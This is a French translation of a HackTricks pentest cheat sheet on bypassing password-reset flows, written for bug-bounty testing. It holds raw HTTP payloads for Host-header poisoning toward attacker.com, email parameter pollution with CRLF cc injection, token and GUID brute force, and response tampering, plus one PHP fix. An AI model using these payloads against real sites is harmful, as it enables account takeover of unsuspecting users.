14 KiB
Contournement de réinitialisation/mot de passe oublié
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus de Piratage
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
Nouvelles de Piratage en Temps Réel
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
Dernières Annonces
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
La compilation des techniques suivantes a été prise de https://anugrahsr.github.io/posts/10-Password-reset-flaws/
Fuite de Token de Réinitialisation de Mot de Passe Via Référent
Le HTTP referer est un champ d'en-tête HTTP optionnel qui identifie l'adresse de la page web qui est liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
Exploitation
- Demandez la réinitialisation du mot de passe à votre adresse e-mail
- Cliquez sur le lien de réinitialisation du mot de passe
- Ne changez pas le mot de passe
- Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
- Interceptez la requête dans le proxy Burpsuite
- Vérifiez si l'en-tête referer fuite le token de réinitialisation du mot de passe.
Impact
Cela permet à la personne qui a le contrôle d'un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le token de réinitialisation du mot de passe de l'utilisateur.
Référence :
- https://hackerone.com/reports/342693
- https://hackerone.com/reports/272379
- https://hackerone.com/reports/737042
- https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
- https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
Empoisonnement de Réinitialisation de Mot de Passe
Si vous trouvez une attaque de l'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation du mot de passe !
Exploitation
- Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
- Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
- Vérifiez si le lien pour changer le mot de passe dans l'email pointe vers attacker.com
Correctif
Utilisez $_SERVER['SERVER_NAME']
plutôt que $_SERVER['HTTP_HOST']
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
Impact
La victime recevra le lien malveillant dans son email et, en cliquant dessus, divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, menant à la prise de contrôle complète du compte.
Référence :
- https://hackerone.com/reports/226659
- https://hackerone.com/reports/167631
- https://www.acunetix.com/blog/articles/password-reset-poisoning/
- https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
- https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
Réinitialisation du mot de passe en manipulant le paramètre Email
Exploitation
- Ajouter l'email de l'attaquant comme second paramètre en utilisant &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Ajouter l'email de l'attaquant comme second paramètre en utilisant %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Ajouter l'email de l'attaquant comme second paramètre en utilisant |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Ajouter l'email de l'attaquant comme second paramètre en utilisant cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Ajouter l'email de l'attaquant comme second paramètre en utilisant bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Ajoutez l'email de l'attaquant comme second paramètre en utilisant ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Ajouter l'email de l'attaquant comme second paramètre dans le tableau json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
Référence
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Changement de l'Email et du Mot de passe de n'importe quel Utilisateur via les Paramètres de l'API
Exploitation
- L'attaquant doit se connecter avec son compte et aller à la fonction de changement de mot de passe
- Démarrer Burp Suite et intercepter la requête
- Après avoir intercepté la requête, l'envoyer au répéteur et modifier les paramètres Email et Mot de passe
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
Référence
Pas de limitation de taux : Bombardement d'emails
Exploitation
- Lancez Burp Suite et interceptez la demande de réinitialisation de mot de passe
- Envoyez à l'intrus
- Utilisez une charge utile nulle
Référence
Découvrez comment le jeton de réinitialisation de mot de passe est généré
Découvrez le modèle du jeton de réinitialisation de mot de passe
Si c'est
- Généré sur la base du Timestamp
- Généré sur la base de l'UserID
- Généré sur la base de l'email de l'utilisateur
- Généré sur la base du Prénom et du Nom
- Généré sur la base de la Date de Naissance
- Généré sur la base de la Cryptographie
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
GUID devinable
Il existe différents types de GUID :
- Version 0 : Seulement vu dans le GUID nul ("00000000-0000-0000-0000-000000000000").
- Version 1 : Le GUID est généré de manière prévisible sur la base de :
- L'heure actuelle
- Une "séquence d'horloge" générée aléatoirement qui reste constante entre les GUID pendant le temps de fonctionnement du système générant
- Un "ID de nœud", qui est généré sur la base de l'adresse MAC du système s'il est disponible
- Version 3 : Le GUID est généré en utilisant un hachage MD5 d'un nom et d'un espace de noms fournis.
- Version 4 : Le GUID est généré aléatoirement.
- Version 5 : Le GUID est généré en utilisant un hachage SHA1 d'un nom et d'un espace de noms fournis.
Il est possible de regarder un GUID et de découvrir sa version, il existe un petit outil pour cela : guidtool****
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de forcer brutalement les GUID :
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
Références
Manipulation de réponse : Remplacer une mauvaise réponse par une bonne
Cherchez des requêtes et des réponses comme celles-ci
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
Changer la réponse
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
Référence
Utilisation d'un jeton expiré
- Vérifiez si le jeton expiré peut être réutilisé
Forcer le jeton de réinitialisation du mot de passe
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
Référence
Essayez d'utiliser votre jeton
- Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
Référence
Invalidation de session lors de la Déconnexion/Réinitialisation de mot de passe
Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session actuelle doit être invalidée.
Ainsi, capturez les cookies pendant que l'utilisateur est connecté, déconnectez-vous, et vérifiez si les cookies sont toujours valides.
Répétez le processus en changeant le mot de passe au lieu de vous déconnecter.
Temps d'expiration du Token de réinitialisation
Les tokens de réinitialisation doivent avoir un temps d'expiration, après cela le token ne devrait plus être valide pour changer le mot de passe d'un utilisateur.
Vérifications supplémentaires
- Utilisez username@burp_collab.net et analysez le callback
- Email en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
- Mot de passe long (>200) entraîne un DoS
- Ajoutez un second paramètre email et sa valeur
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus de Hacking
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
Nouvelles de Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
Dernières Annonces
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous voulez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF Consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.